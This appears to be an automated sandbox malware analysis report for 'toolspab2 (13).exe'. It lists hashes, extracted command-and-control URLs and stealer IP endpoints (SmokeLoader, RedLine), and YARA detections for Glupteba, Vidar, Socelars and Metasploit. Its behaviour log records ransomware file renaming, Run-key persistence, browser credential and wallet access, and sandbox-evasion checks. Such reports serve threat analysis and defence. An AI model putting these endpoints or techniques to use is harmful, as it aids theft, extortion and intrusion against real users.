Overview
overview
10Static
static
toolspab2 (1).exe
windows7_x64
10toolspab2 (1).exe
windows10_x64
10toolspab2 (10).exe
windows7_x64
10toolspab2 (10).exe
windows10_x64
10toolspab2 (11).exe
windows7_x64
10toolspab2 (11).exe
windows10_x64
10toolspab2 (12).exe
windows7_x64
10toolspab2 (12).exe
windows10_x64
10toolspab2 (13).exe
windows7_x64
10toolspab2 (13).exe
windows10_x64
10toolspab2 (14).exe
windows7_x64
10toolspab2 (14).exe
windows10_x64
10toolspab2 (15).exe
windows7_x64
10toolspab2 (15).exe
windows10_x64
10toolspab2 (16).exe
windows7_x64
10toolspab2 (16).exe
windows10_x64
10toolspab2 (17).exe
windows7_x64
10toolspab2 (17).exe
windows10_x64
10toolspab2 (18).exe
windows7_x64
10toolspab2 (18).exe
windows10_x64
10toolspab2 (19).exe
windows7_x64
10toolspab2 (19).exe
windows10_x64
10toolspab2 (2).exe
windows7_x64
10toolspab2 (2).exe
windows10_x64
10toolspab2 (20).exe
windows7_x64
10toolspab2 (20).exe
windows10_x64
10toolspab2 (21).exe
windows7_x64
10toolspab2 (21).exe
windows10_x64
10toolspab2 (22).exe
windows7_x64
10toolspab2 (22).exe
windows10_x64
10toolspab2 (23).exe
windows7_x64
10toolspab2 (23).exe
windows10_x64
10Resubmissions
12-07-2021 16:55
210712-cvz622xsbj 1010-07-2021 13:25
210710-pdfh7kft96 1009-07-2021 23:00
210709-hewxkm1xlj 1009-07-2021 16:08
210709-5ql27kyjqa 1009-07-2021 14:08
210709-pt977a4bhe 1008-07-2021 22:09
210708-3ypfnj5j7x 1008-07-2021 13:30
210708-4hsk7y9f2x 1008-07-2021 12:14
210708-8t5f9z9egj 10Analysis
-
max time kernel
1800s -
max time network
1804s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
09-07-2021 23:00
Static task
static1
Behavioral task
behavioral1
Sample
toolspab2 (1).exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
toolspab2 (1).exe
Resource
win10v20210410
Behavioral task
behavioral3
Sample
toolspab2 (10).exe
Resource
win7v20210410
Behavioral task
behavioral4
Sample
toolspab2 (10).exe
Resource
win10v20210408
Behavioral task
behavioral5
Sample
toolspab2 (11).exe
Resource
win7v20210410
Behavioral task
behavioral6
Sample
toolspab2 (11).exe
Resource
win10v20210408
Behavioral task
behavioral7
Sample
toolspab2 (12).exe
Resource
win7v20210410
Behavioral task
behavioral8
Sample
toolspab2 (12).exe
Resource
win10v20210408
Behavioral task
behavioral9
Sample
toolspab2 (13).exe
Resource
win7v20210410
Behavioral task
behavioral10
Sample
toolspab2 (13).exe
Resource
win10v20210410
Behavioral task
behavioral11
Sample
toolspab2 (14).exe
Resource
win7v20210408
Behavioral task
behavioral12
Sample
toolspab2 (14).exe
Resource
win10v20210410
Behavioral task
behavioral13
Sample
toolspab2 (15).exe
Resource
win7v20210408
Behavioral task
behavioral14
Sample
toolspab2 (15).exe
Resource
win10v20210410
Behavioral task
behavioral15
Sample
toolspab2 (16).exe
Resource
win7v20210408
Behavioral task
behavioral16
Sample
toolspab2 (16).exe
Resource
win10v20210410
Behavioral task
behavioral17
Sample
toolspab2 (17).exe
Resource
win7v20210410
Behavioral task
behavioral18
Sample
toolspab2 (17).exe
Resource
win10v20210408
Behavioral task
behavioral19
Sample
toolspab2 (18).exe
Resource
win7v20210410
Behavioral task
behavioral20
Sample
toolspab2 (18).exe
Resource
win10v20210408
Behavioral task
behavioral21
Sample
toolspab2 (19).exe
Resource
win7v20210410
Behavioral task
behavioral22
Sample
toolspab2 (19).exe
Resource
win10v20210410
Behavioral task
behavioral23
Sample
toolspab2 (2).exe
Resource
win7v20210408
Behavioral task
behavioral24
Sample
toolspab2 (2).exe
Resource
win10v20210410
Behavioral task
behavioral25
Sample
toolspab2 (20).exe
Resource
win7v20210408
Behavioral task
behavioral26
Sample
toolspab2 (20).exe
Resource
win10v20210410
Behavioral task
behavioral27
Sample
toolspab2 (21).exe
Resource
win7v20210408
Behavioral task
behavioral28
Sample
toolspab2 (21).exe
Resource
win10v20210410
Behavioral task
behavioral29
Sample
toolspab2 (22).exe
Resource
win7v20210410
Behavioral task
behavioral30
Sample
toolspab2 (22).exe
Resource
win10v20210408
Behavioral task
behavioral31
Sample
toolspab2 (23).exe
Resource
win7v20210410
Behavioral task
behavioral32
Sample
toolspab2 (23).exe
Resource
win10v20210408
General
-
Target
toolspab2 (13).exe
-
Size
315KB
-
MD5
1d20e1f65938e837ef1b88f10f1bd6c3
-
SHA1
703d7098dbfc476d2181b7fc041cc23e49c368f1
-
SHA256
05cd7440851f13dd8f489bb3c06eba385d85d7d9a77a612049c04c541a88593d
-
SHA512
f9d333abe1f721b8d45d7bc6b5f286af09a8d233bd1d41f0ad891840cf742364aeca2cb6ccd6543f56a8eaf32804f82f72f961d16d5ba663ad706d164915a196
Malware Config
Extracted
C:\_readme.txt
https://we.tl/t-mNr1oio2P6
Extracted
smokeloader
2020
http://999080321newfolder1002002131-service1002.space/
http://999080321newfolder1002002231-service1002.space/
http://999080321newfolder3100231-service1002.space/
http://999080321newfolder1002002431-service1002.space/
http://999080321newfolder1002002531-service1002.space/
http://999080321newfolder33417-012425999080321.space/
http://999080321test125831-service10020125999080321.space/
http://999080321test136831-service10020125999080321.space/
http://999080321test147831-service10020125999080321.space/
http://999080321test146831-service10020125999080321.space/
http://999080321test134831-service10020125999080321.space/
http://999080321est213531-service1002012425999080321.ru/
http://999080321yes1t3481-service10020125999080321.ru/
http://999080321test13561-service10020125999080321.su/
http://999080321test14781-service10020125999080321.info/
http://999080321test13461-service10020125999080321.net/
http://999080321test15671-service10020125999080321.tech/
http://999080321test12671-service10020125999080321.online/
http://999080321utest1341-service10020125999080321.ru/
http://999080321uest71-service100201dom25999080321.ru/
http://999080321test61-service10020125999080321.website/
http://999080321test51-service10020125999080321.xyz/
http://999080321test41-service100201pro25999080321.ru/
http://999080321yest31-service100201rus25999080321.ru/
http://999080321rest21-service10020125999080321.eu/
http://999080321test11-service10020125999080321.press/
http://999080321newfolder4561-service10020125999080321.ru/
http://999080321rustest213-service10020125999080321.ru/
http://999080321test281-service10020125999080321.ru/
http://999080321test261-service10020125999080321.space/
http://999080321yomtest251-service10020125999080321.ru/
http://999080321yirtest231-service10020125999080321.ru/
http://nusurtal4f.net/
http://netomishnetojuk.net/
http://escalivrouter.net/
http://nick22doom4.net/
http://wrioshtivsio.su/
http://nusotiso4.su/
http://rickkhtovkka.biz/
http://palisotoliso.net/
Extracted
metasploit
windows/single_exec
Extracted
redline
BtcOnly
185.53.46.82:3214
Extracted
redline
82.202.161.37:26317
Signatures
-
Glupteba Payload 2 IoCs
Processes:
resource yara_rule behavioral10/memory/1816-262-0x0000000002DF0000-0x0000000003716000-memory.dmp family_glupteba behavioral10/memory/1816-265-0x0000000000400000-0x0000000000D41000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rUNdlL32.eXedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5348 5012 rUNdlL32.eXe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 4 IoCs
Processes:
resource yara_rule behavioral10/memory/2208-314-0x0000000002440000-0x0000000002459000-memory.dmp family_redline behavioral10/memory/2208-310-0x00000000022D0000-0x00000000022EB000-memory.dmp family_redline behavioral10/memory/4796-340-0x0000000002120000-0x000000000213B000-memory.dmp family_redline behavioral10/memory/4796-342-0x0000000002530000-0x0000000002549000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\A34C.exe family_socelars C:\Users\Admin\AppData\Local\Temp\A34C.exe family_socelars -
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
Processes:
WerFault.exedescription pid process target process PID 5044 created 2068 5044 WerFault.exe DBE5.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
svchost.exedescription pid process target process PID 6840 created 1816 6840 svchost.exe 9659.exe -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Vidar Stealer 1 IoCs
Processes:
resource yara_rule behavioral10/memory/2068-364-0x0000000002160000-0x00000000021FD000-memory.dmp family_vidar -
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
Processes:
1075474_ah_hot_iconçè_)))_.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts 1075474_ah_hot_iconçè_)))_.exe -
Executes dropped EXE 57 IoCs
Processes:
18E8.exe7263.exe8204.exe8495.exe8495.tmp1075474_ah_hot_iconçè_)))_.exe7263.exe9659.exe98FA.exe7263.exeA34C.exeirecord.exeirecord.tmpFirukumyco.exeFylaedopidi.exeB3B8.exeI-Record.exevuubsors.exeC1C2.exeCA7E.exesvchost.exeDBE5.exe7263.exeIpDIhVj3g.ExEufgaa.exebuild2.execmd.exegoogle-game.exegoogle-game.exetoolspab1.exejfiag3g_gg.exebuild2.exetoolspab1.exe9659.exe7263.exe7263.exejtcuwffaicuwffaicuwff7263.exe7263.exejfiag3g_gg.exe7263.exe7263.exejtcuwffaicuwffaicuwff7263.exe7263.exejfiag3g_gg.exe7263.exe7263.exejtcuwffaicuwffaicuwff7263.exe7263.exepid process 3672 18E8.exe 3808 7263.exe 576 8204.exe 484 8495.exe 3032 8495.tmp 1796 1075474_ah_hot_iconçè_)))_.exe 4080 7263.exe 1816 9659.exe 3532 98FA.exe 4016 7263.exe 1132 A34C.exe 1968 irecord.exe 2240 irecord.tmp 1364 Firukumyco.exe 1552 Fylaedopidi.exe 2208 B3B8.exe 4132 I-Record.exe 4532 vuubsors.exe 4636 C1C2.exe 4796 CA7E.exe 4904 svchost.exe 2068 DBE5.exe 4192 7263.exe 484 IpDIhVj3g.ExE 5196 ufgaa.exe 5324 build2.exe 5552 cmd.exe 6032 google-game.exe 3808 google-game.exe 6016 toolspab1.exe 5980 jfiag3g_gg.exe 5780 build2.exe 2144 toolspab1.exe 6872 9659.exe 6292 7263.exe 6696 7263.exe 4824 jtcuwff 6884 aicuwff 6232 aicuwff 1816 7263.exe 6296 7263.exe 4268 jfiag3g_gg.exe 4360 7263.exe 7004 7263.exe 4308 jtcuwff 6504 aicuwff 4324 aicuwff 5880 7263.exe 6828 7263.exe 4296 jfiag3g_gg.exe 6360 7263.exe 5912 7263.exe 6020 jtcuwff 5560 aicuwff 852 aicuwff 3744 7263.exe 5052 7263.exe -
Modifies Windows Firewall 1 TTPs
-
Modifies extensions of user files 7 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
7263.exedescription ioc process File renamed C:\Users\Admin\Pictures\StepSet.raw => C:\Users\Admin\Pictures\StepSet.raw.wwka 7263.exe File renamed C:\Users\Admin\Pictures\UnpublishInstall.png => C:\Users\Admin\Pictures\UnpublishInstall.png.wwka 7263.exe File renamed C:\Users\Admin\Pictures\WaitProtect.crw => C:\Users\Admin\Pictures\WaitProtect.crw.wwka 7263.exe File renamed C:\Users\Admin\Pictures\ConvertFromGroup.raw => C:\Users\Admin\Pictures\ConvertFromGroup.raw.wwka 7263.exe File renamed C:\Users\Admin\Pictures\NewMount.raw => C:\Users\Admin\Pictures\NewMount.raw.wwka 7263.exe File opened for modification C:\Users\Admin\Pictures\OptimizeUse.tiff 7263.exe File renamed C:\Users\Admin\Pictures\OptimizeUse.tiff => C:\Users\Admin\Pictures\OptimizeUse.tiff.wwka 7263.exe -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\8204.exe vmprotect C:\Users\Admin\AppData\Local\Temp\8204.exe vmprotect behavioral10/memory/576-159-0x0000000000400000-0x0000000000651000-memory.dmp vmprotect -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Firukumyco.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation Firukumyco.exe -
Deletes itself 1 IoCs
Processes:
pid process 3048 -
Loads dropped DLL 23 IoCs
Processes:
toolspab2 (13).exe18E8.exe8495.tmpI-Record.exePING.EXEtoolspab1.exerundll32.exebuild2.exejtcuwffaicuwffjtcuwffaicuwffjtcuwffaicuwffpid process 928 toolspab2 (13).exe 3672 18E8.exe 3032 8495.tmp 4132 I-Record.exe 4132 I-Record.exe 4132 I-Record.exe 4132 I-Record.exe 4132 I-Record.exe 4132 I-Record.exe 4132 I-Record.exe 4132 I-Record.exe 5800 PING.EXE 5800 PING.EXE 2144 toolspab1.exe 5192 rundll32.exe 5780 build2.exe 5780 build2.exe 4824 jtcuwff 6232 aicuwff 4308 jtcuwff 4324 aicuwff 6020 jtcuwff 852 aicuwff -
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 3 IoCs
Processes:
7263.exe1075474_ah_hot_iconçè_)))_.exe98FA.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\b7ad1122-5de5-4669-90c0-a4b343a46a5b\\7263.exe\" --AutoStart" 7263.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\MSBuild\\Losigaerequ.exe\"" 1075474_ah_hot_iconçè_)))_.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\dhbevlux = "\"C:\\Users\\Admin\\vuubsors.exe\"" 98FA.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
8204.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 8204.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 14 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 152 api.2ip.ua 359 api.2ip.ua 151 api.2ip.ua 507 api.2ip.ua 602 api.2ip.ua 113 api.2ip.ua 173 ip-api.com 393 api.2ip.ua 544 api.2ip.ua 657 api.2ip.ua 112 api.2ip.ua 362 api.2ip.ua 545 api.2ip.ua 360 api.2ip.ua -
Drops file in System32 directory 1 IoCs
Processes:
svchost.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
PING.EXEpid process 5800 PING.EXE -
Suspicious use of SetThreadContext 15 IoCs
Processes:
toolspab2 (13).exe7263.exe7263.exebuild2.exetoolspab1.exesvchost.exe7263.exeaicuwff7263.exe7263.exeaicuwff7263.exe7263.exeaicuwff7263.exedescription pid process target process PID 4056 set thread context of 928 4056 toolspab2 (13).exe toolspab2 (13).exe PID 3808 set thread context of 4080 3808 7263.exe 7263.exe PID 4016 set thread context of 4192 4016 7263.exe 7263.exe PID 5324 set thread context of 5780 5324 build2.exe build2.exe PID 6016 set thread context of 2144 6016 toolspab1.exe toolspab1.exe PID 412 set thread context of 3084 412 svchost.exe svchost.exe PID 6292 set thread context of 6696 6292 7263.exe 7263.exe PID 6884 set thread context of 6232 6884 aicuwff aicuwff PID 1816 set thread context of 6296 1816 7263.exe 7263.exe PID 4360 set thread context of 7004 4360 7263.exe 7263.exe PID 6504 set thread context of 4324 6504 aicuwff aicuwff PID 5880 set thread context of 6828 5880 7263.exe 7263.exe PID 6360 set thread context of 5912 6360 7263.exe 7263.exe PID 5560 set thread context of 852 5560 aicuwff aicuwff PID 3744 set thread context of 5052 3744 7263.exe 7263.exe -
Drops file in Program Files directory 30 IoCs
Processes:
irecord.tmp1075474_ah_hot_iconçè_)))_.exedescription ioc process File opened for modification C:\Program Files (x86)\i-record\avfilter-2.dll irecord.tmp File opened for modification C:\Program Files (x86)\i-record\postproc-52.dll irecord.tmp File created C:\Program Files (x86)\i-record\is-6U9M2.tmp irecord.tmp File created C:\Program Files (x86)\i-record\is-32PM7.tmp irecord.tmp File opened for modification C:\Program Files (x86)\i-record\unins000.dat irecord.tmp File opened for modification C:\Program Files (x86)\i-record\avdevice-53.dll irecord.tmp File opened for modification C:\Program Files (x86)\i-record\avformat-53.dll irecord.tmp File opened for modification C:\Program Files (x86)\i-record\swresample-0.dll irecord.tmp File created C:\Program Files (x86)\i-record\is-DCA4I.tmp irecord.tmp File created C:\Program Files (x86)\MSBuild\Losigaerequ.exe 1075474_ah_hot_iconçè_)))_.exe File created C:\Program Files (x86)\i-record\is-BED45.tmp irecord.tmp File created C:\Program Files (x86)\i-record\is-UTUIP.tmp irecord.tmp File created C:\Program Files\Google\XXAUHEAEUZ\irecord.exe 1075474_ah_hot_iconçè_)))_.exe File opened for modification C:\Program Files (x86)\i-record\avcodec-53.dll irecord.tmp File created C:\Program Files (x86)\i-record\is-3CQH0.tmp irecord.tmp File created C:\Program Files (x86)\i-record\is-Q1URF.tmp irecord.tmp File created C:\Program Files (x86)\i-record\is-876JV.tmp irecord.tmp File opened for modification C:\Program Files (x86)\i-record\I-Record.exe irecord.tmp File created C:\Program Files (x86)\i-record\is-QEO0G.tmp irecord.tmp File created C:\Program Files\Google\XXAUHEAEUZ\irecord.exe.config 1075474_ah_hot_iconçè_)))_.exe File opened for modification C:\Program Files (x86)\i-record\AForge.Video.dll irecord.tmp File opened for modification C:\Program Files (x86)\i-record\swscale-2.dll irecord.tmp File created C:\Program Files (x86)\i-record\is-GP75N.tmp irecord.tmp File created C:\Program Files (x86)\i-record\is-3EIV8.tmp irecord.tmp File created C:\Program Files (x86)\MSBuild\Losigaerequ.exe.config 1075474_ah_hot_iconçè_)))_.exe File opened for modification C:\Program Files (x86)\i-record\AForge.Video.FFMPEG.dll irecord.tmp File opened for modification C:\Program Files (x86)\i-record\avutil-51.dll irecord.tmp File created C:\Program Files (x86)\i-record\unins000.dat irecord.tmp File created C:\Program Files (x86)\i-record\is-H53PQ.tmp irecord.tmp File created C:\Program Files (x86)\i-record\is-T47LL.tmp irecord.tmp -
Drops file in Windows directory 1 IoCs
Processes:
MicrosoftEdge.exedescription ioc process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 4 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 4200 1808 WerFault.exe MicrosoftEdgeCP.exe 5044 2068 WerFault.exe DBE5.exe 4272 5068 WerFault.exe MicrosoftEdgeCP.exe 5264 36 WerFault.exe MicrosoftEdgeCP.exe -
Checks SCSI registry key(s) 3 TTPs 27 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
jtcuwff18E8.exetoolspab1.exejtcuwffaicuwffaicuwffaicuwfftoolspab2 (13).exejtcuwffdescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI jtcuwff Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 18E8.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI jtcuwff Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI jtcuwff Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI aicuwff Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI aicuwff Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI aicuwff Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab2 (13).exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI jtcuwff Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI jtcuwff Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI jtcuwff Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI jtcuwff Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI jtcuwff Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI aicuwff Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI aicuwff Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI aicuwff Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab2 (13).exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 18E8.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI aicuwff Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI aicuwff Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI aicuwff Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI jtcuwff Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab2 (13).exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 18E8.exe -
Checks processor information in registry 2 TTPs 7 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
build2.exeWerFault.exesvchost.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString build2.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 build2.exe -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 6296 timeout.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
Processes:
WerFault.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe -
Kills process with taskkill 3 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exepid process 2632 taskkill.exe 5132 taskkill.exe 2696 taskkill.exe -
Processes:
MicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
svchost.exe9659.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1661 = "Bahia Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time" 9659.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" 9659.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs 9659.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local 